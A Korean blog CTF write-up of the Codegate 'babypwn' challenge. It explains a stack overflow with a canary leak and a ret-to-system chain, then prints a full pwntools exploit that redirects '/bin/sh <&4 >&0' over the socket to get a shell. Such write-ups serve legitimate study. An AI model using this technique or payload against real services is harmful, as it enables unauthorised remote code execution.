코드게이트를 앞두고 옛날에 풀었던 babypwn을 다시 풀어봤다.
먼저 바이너리를 확인해보니 32비트 바이너리였다.
보호기법은 canary와 nx가 걸려있었다.
소켓 프로그램이었으며 디폴트 포트는 8181이었다. 또한 argv로 포트를 지정할 수 있었다.
send와 recv로 메시지를 쓸 수 있는 프로그램이었다.
그런데 메시지를 쓸 때 정해진 배열보다 많은 입력을 받아서 bof가 발생한다.
send로 출력하기 때문에 카나리 위치+1까지 버퍼를 덮어씌우면 카나리 릭 또한 가능하다.
system 함수가 사용되었기 때문에 system plt를 쓸 수 있다.
소켓 프로그램이므로 /bin/sh가 아닌 리다이렉션을 해서 /bin/sh <&4 >&0을 넣으면 된다.
payload
# usr/bin/env python # ryuuu from pwn import * import sys elf = ELF("./babypwn") recv_plt = elf.plt["recv"] system_plt = elf.plt["system"] binsh = "/bin/sh <&4 >&0" s = remote("0",1212) s.sendlineafter("menu > ","1") s.sendafter("Message : ","A"*41) s.recvuntil("A"*41) canary = u32("\x00"+s.recv(3)) log.info("canary :"+hex(canary)) s.sendlineafter("menu > ","1") pop4ret = 0x8048eec payload = "A"*40 payload += p32(canary) payload += "A"*12 payload += p32(recv_plt) payload += p32(pop4ret) payload += p32(0x4) payload += p32(0x0804B1B4) #bss addr payload += p32(0x10) payload += p32(0x0) payload += p32(system_plt) payload += "AAAA" payload += p32(0x804B1B4) s.sendlineafter("Message : ",payload) s.sendlineafter("> ","3") s.sendline(binsh) s.interactive()
'pwnable > ctf' 카테고리의 다른 글
[write-up] 2018 codegate - BaskinRobins31 (0) | 2018.02.06 |
---|---|
[write-up] 2017 white_league-start (0) | 2018.02.05 |
[write-up] 2016 hdcon - pwnit (0) | 2018.01.29 |
[write-up] 2015 defcon - r0pbaby (0) | 2018.01.28 |
[write-up] 2017 samsung ctf - msg (4) | 2018.01.28 |
댓글